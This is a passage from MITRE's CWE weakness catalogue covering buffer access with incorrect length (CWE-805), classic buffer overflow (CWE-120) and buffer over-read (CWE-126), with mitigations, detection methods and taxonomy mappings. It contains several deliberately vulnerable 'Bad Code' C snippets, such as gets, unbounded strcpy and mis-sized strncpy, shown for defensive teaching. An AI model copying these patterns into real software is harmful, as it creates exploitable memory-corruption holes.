char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

(Good Code)
Example Languages: C and C++ 
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...

Example 4

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

(Bad Code)
Example Languages: C and C++ 
#define LOG_INPUT_SIZE 40

// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
int success;

// buffer with size set to maximum size for input to log file
char buf[LOG_INPUT_SIZE];

// copy filename to buffer
strncpy(buf, filename, length);

// save to log file
success = saveToLogFile(buf);

return success;
}

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

(Good Code)
Example Languages: C and C++ 
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
+ Observed Examples
ReferenceDescription
Chain: large length value causes buffer over-read (CWE-126)
Use of packet length field to make a calculation, then copy into a fixed-size buffer
Chain: retrieval of length value from an uninitialized memory location
Crafted length value in document reader leads to buffer overflow
SSL server overflow when the sum of multiple length fields exceeds a given value
Language interpreter API function doesn't validate length argument, leading to information exposure
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.805.6], and the Strsafe.h library from Microsoft [R.805.7]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.

  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.805.2] [R.805.4] and Position-Independent Executables (PIE) [R.805.10].

Effectiveness: Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.805.3] [R.805.6].

Effectiveness: Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.805.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory740CERT C Secure Coding Section 06 - Arrays (ARR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory8672011 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ParentOfWeakness VariantWeakness Variant806Buffer Access Using Size of Source Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base130Improper Handling of Length Parameter Inconsistency
Research Concepts1000
+ Affected Resources
  • Memory
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C++ Secure CodingARR33-CPPGuarantee that copies are made into storage of sufficient size
CERT C Secure CodingARR33-CGuarantee that copies are made into storage of sufficient size
+ References
[R.805.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 6, "Why ACLs Are Important" Page 171. 2nd Edition. Microsoft. 2002.
[R.805.2] [REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". <http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>.
[R.805.3] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <http://www.redhat.com/magazine/009jul05/features/execshield/>.
[R.805.4] [REF-29] "PaX". <http://en.wikipedia.org/wiki/PaX>.
[R.805.5] Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". SANS Software Security Institute. 2010-03-11. <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/>.
[R.805.6] [REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.zork.org/safestr/>.
[R.805.7] [REF-27] Microsoft. "Using the Strsafe.h Functions". <http://msdn.microsoft.com/en-us/library/ms647466.aspx>.
[R.805.8] [REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx>.
[R.805.9] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.805.10] [REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2010-01-15MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Observed_Examples, Relationships
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2014-06-23CWE Content TeamMITREInternal
updated Demonstrative_Examples

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

+ Alternate Terms
buffer overrun:

Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer
+ Terminology Notes

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Assembly

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

(Bad Code)
Example Language:
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(Bad Code)
Example Language:
void manipulate_string(char* string){
char buf[24];
strcpy(buf, string);
...
}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3

The excerpt below calls the gets() function in C, which is inherently unsafe.

(Bad Code)
Example Language:
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

(Bad Code)
Example Languages: C and C++ 
...
struct hostent *clienthp;
char hostname[MAX_LEN];

// create server socket, bind to server address and listen on socket
...

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {

int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);

if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);

// process client request
...
close(clientsocket);
}
}
close(serversocket);
...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

+ Observed Examples
ReferenceDescription
buffer overflow using command with long argument
buffer overflow in local program using long environment variable
buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.

  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14].

Effectiveness: Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.120.7] [R.120.9].

Effectiveness: Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Build and Compilation; Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory726OWASP Top Ten 2004 Category A5 - Buffer Overflows
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
ParentOfWeakness VariantWeakness Variant785Use of Path Manipulation Function without Maximum-sized Buffer
Development Concepts (primary)699
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base170Improper Null Termination
Research Concepts1000
CanFollowWeakness VariantWeakness Variant231Improper Handling of Extra Values
Research Concepts1000
CanFollowWeakness BaseWeakness Base242Use of Inherently Dangerous Function
Research Concepts1000
CanFollowWeakness BaseWeakness Base416Use After Free
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant196Unsigned to Signed Conversion Error
Research Concepts1000
+ Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

+ Affected Resources
  • Memory
+ Functional Areas
  • Memory Management
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnbounded Transfer ('classic overflow')
7 Pernicious KingdomsBuffer Overflow
CLASPBuffer overflow
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A5CWE More SpecificBuffer Overflows
CERT C Secure CodingSTR35-CDo not copy data from an unbounded source to a fixed-length array
WASC7Buffer Overflow
CERT C++ Secure CodingSTR35-CPPDo not copy data from an unbounded source to a fixed-length array
Software Fault PatternsSFP8Faulty Buffer Access
+ White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:

1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

+ References
[R.120.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft. 2002.
[R.120.2] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[R.120.3] [REF-27] Microsoft. "Using the Strsafe.h Functions". <http://msdn.microsoft.com/en-us/library/ms647466.aspx>.
[R.120.4] [REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.zork.org/safestr/>.
[R.120.5] [REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". <http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>.
[R.120.6] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <http://www.redhat.com/magazine/009jul05/features/execshield/>.
[R.120.7] [REF-29] "PaX". <http://en.wikipedia.org/wiki/PaX>.
[R.120.8] Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/>.
[R.120.9] [REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx>.
[R.120.10] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.120.11] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.
[R.120.12] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.
[R.120.13] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388.. 1st Edition. Addison Wesley. 2006.
[R.120.14] [REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-10CWE Content TeamMITREInternal
Changed name and description to more clearly emphasize the "classic" nature of the overflow.
2008-10-14CWE Content TeamMITREInternal
updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes
2008-11-24CWE Content TeamMITREInternal
updated Other_Notes, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-07-27CWE Content TeamMITREInternal
updated Other_Notes, Potential_Mitigations, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2010-02-16CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type
2010-04-05CWE Content TeamMITREInternal
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unbounded Transfer ('Classic Buffer Overflow')

CWE-126: Buffer Over-read

Weakness ID: 126
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read memory

+ Demonstrative Examples

Example 1

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(Bad Code)
Example Languages: C and C++ 
int processMessageFromSocket(int socket) {
int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer
//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
message[index] = msg->msgBody[index];
}
message[index] = '\0';

// process message
success = processMessage(message);
}
return success;
}

